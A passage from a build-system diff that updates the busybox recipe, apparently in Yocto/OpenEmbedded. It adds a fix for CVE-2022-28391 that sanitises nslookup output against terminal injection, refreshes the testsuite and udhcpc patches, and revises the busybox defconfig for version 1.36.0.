+ if (flags & IGNORE_PORT)
+- return xstrdup(host);
++ return xstrdup(printable_string(host));
+ #if ENABLE_FEATURE_IPV6
+ if (sa->sa_family == AF_INET6) {
+ if (strchr(host, ':')) /* heh, it's not a resolved hostname */
+@@ -509,7 +510,7 @@ static char* FAST_FUNC sockaddr2str(const struct sockaddr *sa, int flags)
+ #endif
+ /* For now we don't support anything else, so it has to be INET */
+ /*if (sa->sa_family == AF_INET)*/
+- return xasprintf("%s:%s", host, serv);
++ return xasprintf("%s:%s", printable_string(host), serv);
+ /*return xstrdup(host);*/
+ }
+
+--
+2.35.1
+
diff --git a/meta/recipes-core/busybox/busybox/0001-testsuite-check-uudecode-before-using-it.patch b/meta/recipes-core/busybox/busybox/0001-testsuite-check-uudecode-before-using-it.patch
index 25472f0bbd..d4bda3c12f 100644
--- a/meta/recipes-core/busybox/busybox/0001-testsuite-check-uudecode-before-using-it.patch
+++ b/meta/recipes-core/busybox/busybox/0001-testsuite-check-uudecode-before-using-it.patch
@@ -18,13 +18,13 @@ diff --git a/testsuite/tar.tests b/testsuite/tar.tests
index d71a349..8c88567 100755
--- a/testsuite/tar.tests
+++ b/testsuite/tar.tests
-@@ -336,7 +336,7 @@ SKIP=
- cd .. || exit 1; rm -rf tar.tempdir 2>/dev/null
+@@ -339,7 +339,7 @@ cd .. || exit 1; rm -rf tar.tempdir 2>/d
+ fi
mkdir tar.tempdir && cd tar.tempdir || exit 1
-optional FEATURE_SEAMLESS_BZ2 FEATURE_TAR_AUTODETECT LS
+optional FEATURE_SEAMLESS_BZ2 FEATURE_TAR_AUTODETECT LS UUDECODE
- testing "Symlink attack: create symlink and then write through it" '\
+ testing "tar Symlink attack: create symlink and then write through it" '\
exec 2>&1
uudecode -o input && tar xvf input; echo $?
diff --git a/testsuite/unzip.tests b/testsuite/unzip.tests
diff --git a/meta/recipes-core/busybox/busybox/0002-nslookup-sanitize-all-printed-strings-with-printable.patch b/meta/recipes-core/busybox/busybox/0002-nslookup-sanitize-all-printed-strings-with-printable.patch
new file mode 100644
index 0000000000..0d7409ddc3
--- /dev/null
+++ b/meta/recipes-core/busybox/busybox/0002-nslookup-sanitize-all-printed-strings-with-printable.patch
@@ -0,0 +1,69 @@
+From 812b407e545b70b16cf32aade135b5c32eaf674f Mon Sep 17 00:00:00 2001
+From: Ariadne Conill <ariadne@dereferenced.org>
+Date: Sun, 3 Apr 2022 12:16:45 +0000
+Subject: [PATCH 2/2] nslookup: sanitize all printed strings with
+ printable_string
+
+Otherwise, terminal sequences can be injected, which enables various terminal injection
+attacks from DNS results.
+
+CVE: CVE-2022-28391
+Upstream-Status: Pending
+Signed-off-by: Ariadne Conill <ariadne@dereferenced.org>
+Signed-off-by: Steve Sakoman <steve@sakoman.com>
+---
+ networking/nslookup.c | 10 +++++-----
+ 1 file changed, 5 insertions(+), 5 deletions(-)
+
+diff --git a/networking/nslookup.c b/networking/nslookup.c
+index 6da97baf4..4bdcde1b8 100644
+--- a/networking/nslookup.c
++++ b/networking/nslookup.c
+@@ -407,7 +407,7 @@ static NOINLINE int parse_reply(const unsigned char *msg, size_t len)
+ //printf("Unable to uncompress domain: %s\n", strerror(errno));
+ return -1;
+ }
+- printf(format, ns_rr_name(rr), dname);
++ printf(format, ns_rr_name(rr), printable_string(dname));
+ break;
+
+ case ns_t_mx:
+@@ -422,7 +422,7 @@ static NOINLINE int parse_reply(const unsigned char *msg, size_t len)
+ //printf("Cannot uncompress MX domain: %s\n", strerror(errno));
+ return -1;
+ }
+- printf("%s\tmail exchanger = %d %s\n", ns_rr_name(rr), n, dname);
++ printf("%s\tmail exchanger = %d %s\n", ns_rr_name(rr), n, printable_string(dname));
+ break;
+
+ case ns_t_txt:
+@@ -434,7 +434,7 @@ static NOINLINE int parse_reply(const unsigned char *msg, size_t len)
+ if (n > 0) {
+ memset(dname, 0, sizeof(dname));
+ memcpy(dname, ns_rr_rdata(rr) + 1, n);
+- printf("%s\ttext = \"%s\"\n", ns_rr_name(rr), dname);
++ printf("%s\ttext = \"%s\"\n", ns_rr_name(rr), printable_string(dname));
+ }
+ break;
+
+@@ -454,7 +454,7 @@ static NOINLINE int parse_reply(const unsigned char *msg, size_t len)
+ }
+
+ printf("%s\tservice = %u %u %u %s\n", ns_rr_name(rr),
+- ns_get16(cp), ns_get16(cp + 2), ns_get16(cp + 4), dname);
++ ns_get16(cp), ns_get16(cp + 2), ns_get16(cp + 4), printable_string(dname));
+ break;
+
+ case ns_t_soa:
+@@ -483,7 +483,7 @@ static NOINLINE int parse_reply(const unsigned char *msg, size_t len)
+ return -1;
+ }
+
+- printf("\tmail addr = %s\n", dname);
++ printf("\tmail addr = %s\n", printable_string(dname));
+ cp += n;
+
+ printf("\tserial = %lu\n", ns_get32(cp));
+--
+2.35.1
+
diff --git a/meta/recipes-core/busybox/busybox/busybox-udhcpc-no_deconfig.patch b/meta/recipes-core/busybox/busybox/busybox-udhcpc-no_deconfig.patch
index 35e981d6a2..948932a3e8 100644
--- a/meta/recipes-core/busybox/busybox/busybox-udhcpc-no_deconfig.patch
+++ b/meta/recipes-core/busybox/busybox/busybox-udhcpc-no_deconfig.patch
@@ -31,11 +31,11 @@ Signed-off-by: Andreas Oberritter <obi@opendreambox.org>
networking/udhcp/dhcpc.c | 29 ++++++++++++++++------
1 file changed, 21 insertions(+), 8 deletions(-)
-Index: busybox-1.32.0/networking/udhcp/dhcpc.c
+Index: busybox-1.34.0/networking/udhcp/dhcpc.c
===================================================================
---- busybox-1.32.0.orig/networking/udhcp/dhcpc.c
-+++ busybox-1.32.0/networking/udhcp/dhcpc.c
-@@ -48,6 +48,8 @@ struct tpacket_auxdata {
+--- busybox-1.34.0.orig/networking/udhcp/dhcpc.c
++++ busybox-1.34.0/networking/udhcp/dhcpc.c
+@@ -48,6 +48,8 @@
};
#endif
@@ -44,47 +44,37 @@ Index: busybox-1.32.0/networking/udhcp/dhcpc.c
/* "struct client_data_t client_data" is in bb_common_bufsiz1 */
-@@ -103,8 +105,10 @@
- OPT_x = 1 << 18,
- OPT_f = 1 << 19,
- OPT_B = 1 << 20,
-+ OPT_D = 1 << 21,
+@@ -100,8 +102,10 @@
+ OPT_x = 1 << 16,
+ OPT_f = 1 << 17,
+ OPT_B = 1 << 18,
++ OPT_D = 1 << 19,
/* The rest has variable bit positions, need to be clever */
- OPTBIT_B = 20,
-+ OPTBIT_D = 21,
+ OPTBIT_B = 18,
++ OPTBIT_D = 19,
USE_FOR_MMU( OPTBIT_b,)
IF_FEATURE_UDHCPC_ARPING(OPTBIT_a,)
IF_FEATURE_UDHCP_PORT( OPTBIT_P,)
-@@ -1084,7 +1088,8 @@
- client_data.state = RENEW_REQUESTED;
- break;
- case RENEW_REQUESTED: /* impatient are we? fine, square 1 */
-- udhcp_run_script(NULL, "deconfig");
-+ if (allow_deconfig)
-+ udhcp_run_script(NULL, "deconfig");
- case REQUESTING:
- case RELEASED:
- change_listen_mode(LISTEN_RAW);
-@@ -1120,7 +1125,8 @@ static void perform_release(uint32_t server_addr, uint32_t requested_ip)
- * Users requested to be notified in all cases, even if not in one
- * of the states above.
- */
-- udhcp_run_script(NULL, "deconfig");
+@@ -587,7 +591,8 @@
+
+ static void d4_run_script_deconfig(void)
+ {
+- d4_run_script(NULL, "deconfig");
+ if (allow_deconfig)
-+ udhcp_run_script(NULL, "deconfig");
++ d4_run_script(NULL, "deconfig");
+ }
- change_listen_mode(LISTEN_NONE);
- client_data.state = RELEASED;
-@@ -1238,7 +1244,7 @@
+ /*** Sending/receiving packets ***/
+@@ -1244,7 +1249,7 @@
/* Parse command line */
opt = getopt32long(argv, "^"
/* O,x: list; -T,-t,-A take numeric param */
-- "CV:H:h:F:i:np:qRr:s:T:+t:+SA:+O:*ox:*fB"
-+ "CV:H:h:F:i:np:qRr:s:T:+t:+SA:+O:*ox:*fBD"
+- "CV:F:i:np:qRr:s:T:+t:+SA:+O:*ox:*fB"
++ "CV:F:i:np:qRr:s:T:+t:+SA:+O:*ox:*fBD"
USE_FOR_MMU("b")
IF_FEATURE_UDHCPC_ARPING("a::")
IF_FEATURE_UDHCP_PORT("P:")
-@@ -1349,6 +1355,10 @@
+@@ -1361,6 +1366,10 @@
logmode |= LOGMODE_SYSLOG;
}
@@ -95,49 +85,3 @@ Index: busybox-1.32.0/networking/udhcp/dhcpc.c
/* Create pidfile */
write_pidfile(client_data.pidfile);
/* Goes to stdout (unless NOMMU) and possibly syslog */
-@@ -1357,7 +1367,8 @@
- srand(monotonic_us());
-
- client_data.state = INIT_SELECTING;
-- udhcp_run_script(NULL, "deconfig");
-+ if (allow_deconfig)
-+ udhcp_run_script(NULL, "deconfig");
- change_listen_mode(LISTEN_RAW);
- packet_num = 0;
- timeout = 0;
-@@ -1530,7 +1541,8 @@
- }
- /* Timed out, enter init state */
- bb_simple_info_msg("lease lost, entering init state");
-- udhcp_run_script(NULL, "deconfig");
-+ if (allow_deconfig)
-+ udhcp_run_script(NULL, "deconfig");
- client_data.state = INIT_SELECTING;
- client_data.first_secs = 0; /* make secs field count from 0 */
- /*timeout = 0; - already is */
-@@ -1722,8 +1734,10 @@
- "(got ARP reply), declining");
- send_decline(/*xid,*/ server_addr, packet.yiaddr);
-
-- if (client_data.state != REQUESTING)
-- udhcp_run_script(NULL, "deconfig");
-+ if (client_data.state != REQUESTING) {
-+ if (allow_deconfig)
-+ udhcp_run_script(NULL, "deconfig");
-+ }
- change_listen_mode(LISTEN_RAW);
- client_data.state = INIT_SELECTING;
- client_data.first_secs = 0; /* make secs field count from 0 */
-@@ -1792,8 +1806,10 @@
- /* return to init state */
- bb_info_msg("received %s", "DHCP NAK");
- udhcp_run_script(&packet, "nak");
-- if (client_data.state != REQUESTING)
-- udhcp_run_script(NULL, "deconfig");
-+ if (client_data.state != REQUESTING) {
-+ if (allow_deconfig)
-+ udhcp_run_script(NULL, "deconfig");
-+ }
- change_listen_mode(LISTEN_RAW);
- sleep(3); /* avoid excessive network traffic */
- client_data.state = INIT_SELECTING;
diff --git a/meta/recipes-core/busybox/busybox/defconfig b/meta/recipes-core/busybox/busybox/defconfig
index 4334a9d738..f3d545dc3f 100644
--- a/meta/recipes-core/busybox/busybox/defconfig
+++ b/meta/recipes-core/busybox/busybox/defconfig
@@ -1,7 +1,7 @@
#
# Automatically generated make config: don't edit
-# Busybox version: 1.30.1
-# Sun Feb 17 18:12:27 2019
+# Busybox version: 1.36.0
+# Tue Jan 3 14:17:01 2023
#
CONFIG_HAVE_DOT_CONFIG=y
@@ -34,8 +34,8 @@ CONFIG_FEATURE_SUID_CONFIG_QUIET=y
CONFIG_BUSYBOX_EXEC_PATH="/proc/self/exe"
# CONFIG_SELINUX is not set
# CONFIG_FEATURE_CLEAN_UP is not set
+CONFIG_FEATURE_SYSLOG_INFO=y
CONFIG_FEATURE_SYSLOG=y
-CONFIG_PLATFORM_LINUX=y
#
# Build Options
@@ -54,6 +54,7 @@ CONFIG_EXTRA_LDFLAGS=""
CONFIG_EXTRA_LDLIBS=""
# CONFIG_USE_PORTABLE_CODE is not set
CONFIG_STACK_OPTIMIZATION_386=y
+CONFIG_STATIC_LIBGCC=y
#
# Installation Options ("make install" behavior)
@@ -75,6 +76,7 @@ CONFIG_PREFIX="./_install"
# CONFIG_DEBUG_SANITIZE is not set
# CONFIG_UNIT_TEST is not set
# CONFIG_WERROR is not set
+# CONFIG_WARN_SIMPLE_MSG is not set
CONFIG_NO_DEBUG_LIB=y
# CONFIG_DMALLOC is not set
# CONFIG_EFENCE is not set
@@ -92,9 +94,12 @@ CONFIG_FEATURE_BUFFERS_USE_MALLOC=y
CONFIG_PASSWORD_MINLEN=6
CONFIG_MD5_SMALL=1
CONFIG_SHA3_SMALL=1
-CONFIG_FEATURE_FAST_TOP=y
-# CONFIG_FEATURE_ETC_NETWORKS is not set
-# CONFIG_FEATURE_ETC_SERVICES is not set
+CONFIG_FEATURE_NON_POSIX_CP=y
+# CONFIG_FEATURE_VERBOSE_CP_MESSAGE is not set
+CONFIG_FEATURE_USE_SENDFILE=y
+CONFIG_FEATURE_COPYBUF_KB=4
+CONFIG_MONOTONIC_SYSCALL=y
+CONFIG_IOCTL_HEX2STR_ERROR=y
CONFIG_FEATURE_EDITING=y
CONFIG_FEATURE_EDITING_MAX_LEN=1024
# CONFIG_FEATURE_EDITING_VI is not set
@@ -108,24 +113,19 @@ CONFIG_FEATURE_EDITING_FANCY_PROMPT=y
# CONFIG_FEATURE_EDITING_WINCH is not set
# CONFIG_FEATURE_EDITING_ASK_TERMINAL is not set
# CONFIG_LOCALE_SUPPORT is not set
-# CONFIG_UNICODE_SUPPORT is not set
+CONFIG_UNICODE_SUPPORT=y
# CONFIG_UNICODE_USING_LOCALE is not set
-# CONFIG_FEATURE_CHECK_UNICODE_IN_ENV is not set
-CONFIG_SUBST_WCHAR=0
-CONFIG_LAST_SUPPORTED_WCHAR=0
-# CONFIG_UNICODE_COMBINING_WCHARS is not set
-# CONFIG_UNICODE_WIDE_WCHARS is not set
+CONFIG_FEATURE_CHECK_UNICODE_IN_ENV=y
+CONFIG_SUBST_WCHAR=63
+CONFIG_LAST_SUPPORTED_WCHAR=767
+CONFIG_UNICODE_COMBINING_WCHARS=y
+CONFIG_UNICODE_WIDE_WCHARS=y
# CONFIG_UNICODE_BIDI_SUPPORT is not set
# CONFIG_UNICODE_NEUTRAL_TABLE is not set
# CONFIG_UNICODE_PRESERVE_BROKEN is not set
-CONFIG_FEATURE_NON_POSIX_CP=y
-# CONFIG_FEATURE_VERBOSE_CP_MESSAGE is not set
-CONFIG_FEATURE_USE_SENDFILE=y
-CONFIG_FEATURE_COPYBUF_KB=4
-CONFIG_FEATURE_SKIP_ROOTFS=y
-CONFIG_MONOTONIC_SYSCALL=y
-CONFIG_IOCTL_HEX2STR_ERROR=y
-CONFIG_FEATURE_HWIB=y
+# CONFIG_LOOP_CONFIGURE is not set
+# CONFIG_NO_LOOP_CONFIGURE is not set
+CONFIG_TRY_LOOP_CONFIGURE=y
#
# Applets
@@ -155,10 +155,13 @@ CONFIG_LZCAT=y
CONFIG_XZCAT=y
# CONFIG_XZ is not set
CONFIG_BZIP2=y
+CONFIG_BZIP2_SMALL=8
CONFIG_FEATURE_BZIP2_DECOMPRESS=y
CONFIG_CPIO=y
# CONFIG_FEATURE_CPIO_O is not set
# CONFIG_FEATURE_CPIO_P is not set
+# CONFIG_FEATURE_CPIO_IGNORE_DEVNO is not set
+# CONFIG_FEATURE_CPIO_RENUMBER_INODES is not set
# CONFIG_DPKG is not set
# CONFIG_DPKG_DEB is not set
CONFIG_GZIP=y
@@ -194,6 +197,22 @@ CONFIG_FEATURE_UNZIP_CDF=y
#
# Coreutils
#
+CONFIG_FEATURE_VERBOSE=y
+
+#
+# Common options for date and touch
+#
+# CONFIG_FEATURE_TIMEZONE is not set
+
+#
+# Common options for cp and mv
+#
+# CONFIG_FEATURE_PRESERVE_HARDLINKS is not set
+
+#
+# Common options for df, du, ls
+#
+CONFIG_FEATURE_HUMAN_READABLE=y
CONFIG_BASENAME=y
CONFIG_CAT=y
CONFIG_FEATURE_CATN=y
@@ -204,11 +223,13 @@ CONFIG_CHOWN=y
# CONFIG_FEATURE_CHOWN_LONG_OPTIONS is not set
CONFIG_CHROOT=y
# CONFIG_CKSUM is not set
+CONFIG_CRC32=y
# CONFIG_COMM is not set
CONFIG_CP=y
# CONFIG_FEATURE_CP_LONG_OPTIONS is not set
# CONFIG_FEATURE_CP_REFLINK is not set
CONFIG_CUT=y
+CONFIG_FEATURE_CUT_REGEX=y
CONFIG_DATE=y
# CONFIG_FEATURE_DATE_ISOFMT is not set
# CONFIG_FEATURE_DATE_NANO is not set
@@ -220,6 +241,7 @@ CONFIG_FEATURE_DD_SIGNAL_HANDLING=y
# CONFIG_FEATURE_DD_STATUS is not set
CONFIG_DF=y
# CONFIG_FEATURE_DF_FANCY is not set
+# CONFIG_FEATURE_SKIP_ROOTFS is not set
CONFIG_DIRNAME=y
# CONFIG_DOS2UNIX is not set
# CONFIG_UNIX2DOS is not set
@@ -235,7 +257,6 @@ CONFIG_EXPR_MATH_SUPPORT_64=y
# CONFIG_FACTOR is not set
CONFIG_FALSE=y
# CONFIG_FOLD is not set
-# CONFIG_FSYNC is not set
CONFIG_HEAD=y
# CONFIG_FEATURE_FANCY_HEAD is not set
# CONFIG_HOSTID is not set
@@ -257,8 +278,8 @@ CONFIG_FEATURE_LS_USERNAME=y
CONFIG_FEATURE_LS_COLOR=y
# CONFIG_FEATURE_LS_COLOR_IS_DEFAULT is not set
CONFIG_MD5SUM=y
-# CONFIG_SHA1SUM is not set
-# CONFIG_SHA256SUM is not set
+CONFIG_SHA1SUM=y
+CONFIG_SHA256SUM=y
# CONFIG_SHA512SUM is not set
# CONFIG_SHA3SUM is not set
@@ -302,6 +323,7 @@ CONFIG_STTY=y
# CONFIG_SUM is not set
CONFIG_SYNC=y
# CONFIG_FEATURE_SYNC_FANCY is not set
+# CONFIG_FSYNC is not set
# CONFIG_TAC is not set
CONFIG_TAIL=y
CONFIG_FEATURE_FANCY_TAIL=y
@@ -313,13 +335,13 @@ CONFIG_TEST2=y
CONFIG_FEATURE_TEST_64=y
# CONFIG_TIMEOUT is not set
CONFIG_TOUCH=y
-CONFIG_FEATURE_TOUCH_NODEREF=y
CONFIG_FEATURE_TOUCH_SUSV3=y
CONFIG_TR=y
CONFIG_FEATURE_TR_CLASSES=y
# CONFIG_FEATURE_TR_EQUIV is not set
CONFIG_TRUE=y
# CONFIG_TRUNCATE is not set
+# CONFIG_TSORT is not set
CONFIG_TTY=y
CONFIG_UNAME=y
CONFIG_UNAME_OSNAME="GNU/Linux"
@@ -328,32 +350,18 @@ CONFIG_UNIQ=y
CONFIG_UNLINK=y
CONFIG_USLEEP=y
# CONFIG_UUDECODE is not set
+CONFIG_BASE32=y
# CONFIG_BASE64 is not set
# CONFIG_UUENCODE is not set
CONFIG_WC=y
# CONFIG_FEATURE_WC_LARGE is not set
-CONFIG_WHOAMI=y
CONFIG_WHO=y
# CONFIG_W is not set
CONFIG_USERS=y
+CONFIG_WHOAMI=y
CONFIG_YES=y
#
-# Common options
-#
-CONFIG_FEATURE_VERBOSE=y
-
-#
-# Common options for cp and mv
-#
-# CONFIG_FEATURE_PRESERVE_HARDLINKS is not set
-
-#
-# Common options for df, du, ls
-#
-CONFIG_FEATURE_HUMAN_READABLE=y
-
-#
# Console Utilities
#
CONFIG_CHVT=y
@@ -375,8 +383,8 @@ CONFIG_DEFAULT_SETFONT_DIR=""
CONFIG_LOADKMAP=y
CONFIG_OPENVT=y
CONFIG_RESET=y
-# CONFIG_RESIZE is not set
-# CONFIG_FEATURE_RESIZE_PRINT is not set
+CONFIG_RESIZE=y
+CONFIG_FEATURE_RESIZE_PRINT=y
CONFIG_SETCONSOLE=y
# CONFIG_FEATURE_SETCONSOLE_LONG_OPTIONS is not set
# CONFIG_SETKEYCODES is not set
@@ -420,6 +428,7 @@ CONFIG_VI=y
CONFIG_FEATURE_VI_MAX_LEN=1024
CONFIG_FEATURE_VI_8BIT=y
CONFIG_FEATURE_VI_COLON=y
+CONFIG_FEATURE_VI_COLON_EXPAND=y
CONFIG_FEATURE_VI_YANKMARK=y
CONFIG_FEATURE_VI_SEARCH=y
# CONFIG_FEATURE_VI_REGEX_SEARCH is not set
@@ -433,6 +442,7 @@ CONFIG_FEATURE_VI_WIN_RESIZE=y
CONFIG_FEATURE_VI_UNDO=y
CONFIG_FEATURE_VI_UNDO_QUEUE=y
CONFIG_FEATURE_VI_UNDO_QUEUE_MAX=256
+CONFIG_FEATURE_VI_VERBOSE_STATUS=y
CONFIG_FEATURE_ALLOW_EXEC=y
#
@@ -441,7 +451,11 @@ CONFIG_FEATURE_ALLOW_EXEC=y
CONFIG_FIND=y
CONFIG_FEATURE_FIND_PRINT0=y
CONFIG_FEATURE_FIND_MTIME=y
+CONFIG_FEATURE_FIND_ATIME=y
+CONFIG_FEATURE_FIND_CTIME=y
CONFIG_FEATURE_FIND_MMIN=y
+CONFIG_FEATURE_FIND_AMIN=y
+CONFIG_FEATURE_FIND_CMIN=y
CONFIG_FEATURE_FIND_PERM=y
CONFIG_FEATURE_FIND_TYPE=y
CONFIG_FEATURE_FIND_EXECUTABLE=y
@@ -449,6 +463,7 @@ CONFIG_FEATURE_FIND_XDEV=y
CONFIG_FEATURE_FIND_MAXDEPTH=y
CONFIG_FEATURE_FIND_NEWER=y
# CONFIG_FEATURE_FIND_INUM is not set
+CONFIG_FEATURE_FIND_SAMEFILE=y
CONFIG_FEATURE_FIND_EXEC=y
CONFIG_FEATURE_FIND_EXEC_PLUS=y
CONFIG_FEATURE_FIND_USER=y
@@ -460,6 +475,7 @@ CONFIG_FEATURE_FIND_SIZE=y
CONFIG_FEATURE_FIND_PRUNE=y
CONFIG_FEATURE_FIND_QUIT=y
# CONFIG_FEATURE_FIND_DELETE is not set
+CONFIG_FEATURE_FIND_EMPTY=y
CONFIG_FEATURE_FIND_PATH=y
CONFIG_FEATURE_FIND_REGEX=y
# CONFIG_FEATURE_FIND_CONTEXT is not set
@@ -488,32 +504,32 @@ CONFIG_FEATURE_XARGS_SUPPORT_REPL_STR=y
CONFIG_REBOOT=y
# CONFIG_FEATURE_WAIT_FOR_INIT is not set
# CONFIG_FEATURE_CALL_TELINIT is not set
-# CONFIG_TELINIT_PATH is not set
+CONFIG_TELINIT_PATH=""
# CONFIG_INIT is not set
# CONFIG_LINUXRC is not set
# CONFIG_FEATURE_USE_INITTAB is not set
# CONFIG_FEATURE_KILL_REMOVED is not set
-# CONFIG_FEATURE_KILL_DELAY is not set
+CONFIG_FEATURE_KILL_DELAY=0
# CONFIG_FEATURE_INIT_SCTTY is not set
# CONFIG_FEATURE_INIT_SYSLOG is not set
# CONFIG_FEATURE_INIT_QUIET is not set
# CONFIG_FEATURE_INIT_COREDUMPS is not set
-# CONFIG_INIT_TERMINAL_TYPE is not set
+CONFIG_INIT_TERMINAL_TYPE=""
# CONFIG_FEATURE_INIT_MODIFY_CMDLINE is not set
#
# Login/Password Management Utilities
#
-# CONFIG_FEATURE_SHADOWPASSWDS is not set
+CONFIG_FEATURE_SHADOWPASSWDS=y
# CONFIG_USE_BB_PWD_GRP is not set
# CONFIG_USE_BB_SHADOW is not set
CONFIG_USE_BB_CRYPT=y
# CONFIG_USE_BB_CRYPT_SHA is not set
-# CONFIG_ADDGROUP is not set
-# CONFIG_FEATURE_ADDUSER_TO_GROUP is not set
# CONFIG_ADD_SHELL is not set
# CONFIG_REMOVE_SHELL is not set
-# CONFIG_ADDUSER is not set
+CONFIG_ADDGROUP=y
+# CONFIG_FEATURE_ADDUSER_TO_GROUP is not set
+CONFIG_ADDUSER=y
# CONFIG_FEATURE_CHECK_NAMES is not set
CONFIG_LAST_ID=60000
CONFIG_FIRST_SYSTEM_ID=100
@@ -522,23 +538,23 @@ CONFIG_LAST_SYSTEM_ID=999
CONFIG_FEATURE_DEFAULT_PASSWD_ALGO=""
# CONFIG_CRYPTPW is not set
# CONFIG_MKPASSWD is not set
-# CONFIG_DELUSER is not set
-# CONFIG_DELGROUP is not set
+CONFIG_DELUSER=y
+CONFIG_DELGROUP=y
# CONFIG_FEATURE_DEL_USER_FROM_GROUP is not set
-# CONFIG_GETTY is not set
-# CONFIG_LOGIN is not set
+CONFIG_GETTY=y
+CONFIG_LOGIN=y
# CONFIG_LOGIN_SESSION_AS_CHILD is not set
# CONFIG_LOGIN_SCRIPTS is not set
# CONFIG_FEATURE_NOLOGIN is not set
# CONFIG_FEATURE_SECURETTY is not set
-# CONFIG_PASSWD is not set
+CONFIG_PASSWD=y
# CONFIG_FEATURE_PASSWD_WEAK_CHECK is not set
-# CONFIG_SU is not set
+CONFIG_SU=y
# CONFIG_FEATURE_SU_SYSLOG is not set
# CONFIG_FEATURE_SU_CHECKS_SHELLS is not set
# CONFIG_FEATURE_SU_BLANK_PW_NEEDS_SECURE_TTY is not set
-# CONFIG_SULOGIN is not set
-# CONFIG_VLOCK is not set
+CONFIG_SULOGIN=y
+CONFIG_VLOCK=y
#
# Linux Ext2 FS Progs
@@ -585,8 +601,8 @@ CONFIG_DEFAULT_DEPMOD_FILE="modules.dep"
# CONFIG_ACPID is not set
# CONFIG_FEATURE_ACPID_COMPAT is not set
# CONFIG_BLKDISCARD is not set
-# CONFIG_BLKID is not set
-# CONFIG_FEATURE_BLKID_TYPE is not set
+CONFIG_BLKID=y
+CONFIG_FEATURE_BLKID_TYPE=y
# CONFIG_BLOCKDEV is not set
# CONFIG_CAL is not set
# CONFIG_CHRT is not set
@@ -616,10 +632,9 @@ CONFIG_FLOCK=y
# CONFIG_FSCK_MINIX is not set
# CONFIG_FSFREEZE is not set
CONFIG_FSTRIM=y
-# CONFIG_GETOPT is not set
-# CONFIG_FEATURE_GETOPT_LONG is not set
+CONFIG_GETOPT=y
+CONFIG_FEATURE_GETOPT_LONG=y
CONFIG_HEXDUMP=y
-# CONFIG_FEATURE_HEXDUMP_REVERSE is not set
# CONFIG_HD is not set
# CONFIG_XXD is not set
CONFIG_HWCLOCK=y
@@ -638,6 +653,7 @@ CONFIG_LOSETUP=y
# CONFIG_FEATURE_MDEV_RENAME_REGEXP is not set
# CONFIG_FEATURE_MDEV_EXEC is not set
# CONFIG_FEATURE_MDEV_LOAD_FIRMWARE is not set
+# CONFIG_FEATURE_MDEV_DAEMON is not set
CONFIG_MESG=y
# CONFIG_FEATURE_MESG_ENABLE_ONLY_GROUP is not set
# CONFIG_MKE2FS is not set
@@ -654,7 +670,7 @@ CONFIG_MOUNT=y
# CONFIG_FEATURE_MOUNT_FAKE is not set
# CONFIG_FEATURE_MOUNT_VERBOSE is not set
# CONFIG_FEATURE_MOUNT_HELPERS is not set
-# CONFIG_FEATURE_MOUNT_LABEL is not set
+CONFIG_FEATURE_MOUNT_LABEL=y
# CONFIG_FEATURE_MOUNT_NFS is not set
# CONFIG_FEATURE_MOUNT_CIFS is not set
CONFIG_FEATURE_MOUNT_FLAGS=y
@@ -669,7 +685,7 @@ CONFIG_RDATE=y
# CONFIG_RDEV is not set
# CONFIG_READPROFILE is not set
CONFIG_RENICE=y
-# CONFIG_REV is not set
+CONFIG_REV=y
# CONFIG_RTCWAKE is not set
# CONFIG_SCRIPT is not set
# CONFIG_SCRIPTREPLAY is not set
@@ -689,6 +705,7 @@ CONFIG_SWAPOFF=y
CONFIG_SWITCH_ROOT=y
# CONFIG_TASKSET is not set
# CONFIG_FEATURE_TASKSET_FANCY is not set
+# CONFIG_FEATURE_TASKSET_CPULIST is not set
# CONFIG_UEVENT is not set
CONFIG_UMOUNT=y
CONFIG_FEATURE_UMOUNT_ALL=y
@@ -701,18 +718,19 @@ CONFIG_FEATURE_UMOUNT_ALL=y
CONFIG_FEATURE_MOUNT_LOOP=y
CONFIG_FEATURE_MOUNT_LOOP_CREATE=y
# CONFIG_FEATURE_MTAB_SUPPORT is not set
-# CONFIG_VOLUMEID is not set
+CONFIG_VOLUMEID=y
#
# Filesystem/Volume identification
#
# CONFIG_FEATURE_VOLUMEID_BCACHE is not set
-# CONFIG_FEATURE_VOLUMEID_BTRFS is not set
+CONFIG_FEATURE_VOLUMEID_BTRFS=y
# CONFIG_FEATURE_VOLUMEID_CRAMFS is not set
+CONFIG_FEATURE_VOLUMEID_EROFS=y
# CONFIG_FEATURE_VOLUMEID_EXFAT is not set
-# CONFIG_FEATURE_VOLUMEID_EXT is not set
-# CONFIG_FEATURE_VOLUMEID_F2FS is not set
-# CONFIG_FEATURE_VOLUMEID_FAT is not set
+CONFIG_FEATURE_VOLUMEID_EXT=y
+CONFIG_FEATURE_VOLUMEID_F2FS=y
+CONFIG_FEATURE_VOLUMEID_FAT=y
# CONFIG_FEATURE_VOLUMEID_HFS is not set
# CONFIG_FEATURE_VOLUMEID_ISO9660 is not set
# CONFIG_FEATURE_VOLUMEID_JFS is not set
@@ -726,7 +744,7 @@ CONFIG_FEATURE_MOUNT_LOOP_CREATE=y
# CONFIG_FEATURE_VOLUMEID_OCFS2 is not set
# CONFIG_FEATURE_VOLUMEID_REISERFS is not set
# CONFIG_FEATURE_VOLUMEID_ROMFS is not set
-# CONFIG_FEATURE_VOLUMEID_SQUASHFS is not set
+CONFIG_FEATURE_VOLUMEID_SQUASHFS=y
# CONFIG_FEATURE_VOLUMEID_SYSV is not set
# CONFIG_FEATURE_VOLUMEID_UBIFS is not set
# CONFIG_FEATURE_VOLUMEID_UDF is not set
@@ -736,6 +754,7 @@ CONFIG_FEATURE_MOUNT_LOOP_CREATE=y
# Miscellaneous Utilities
#
# CONFIG_ADJTIMEX is not set
+CONFIG_ASCII=y
# CONFIG_BBCONFIG is not set
# CONFIG_FEATURE_COMPRESS_BBCONFIG is not set
# CONFIG_BC is not set
@@ -769,10 +788,10 @@ CONFIG_FEATURE_CROND_DIR=""
# CONFIG_FEATURE_DEVFS is not set
# CONFIG_DEVMEM is not set
# CONFIG_FBSPLASH is not set
-# CONFIG_FLASHCP is not set
# CONFIG_FLASH_ERASEALL is not set
# CONFIG_FLASH_LOCK is not set
# CONFIG_FLASH_UNLOCK is not set
+# CONFIG_FLASHCP is not set
# CONFIG_HDPARM is not set
# CONFIG_FEATURE_HDPARM_GET_IDENTITY is not set
# CONFIG_FEATURE_HDPARM_HDIO_SCAN_HWIF is not set
@@ -806,6 +825,7 @@ CONFIG_FEATURE_LESS_FLAGS=y
# CONFIG_FEATURE_MAKEDEVS_TABLE is not set
# CONFIG_MAN is not set
CONFIG_MICROCOM=y
+# CONFIG_MIM is not set
# CONFIG_MT is not set
# CONFIG_NANDWRITE is not set
# CONFIG_NANDDUMP is not set
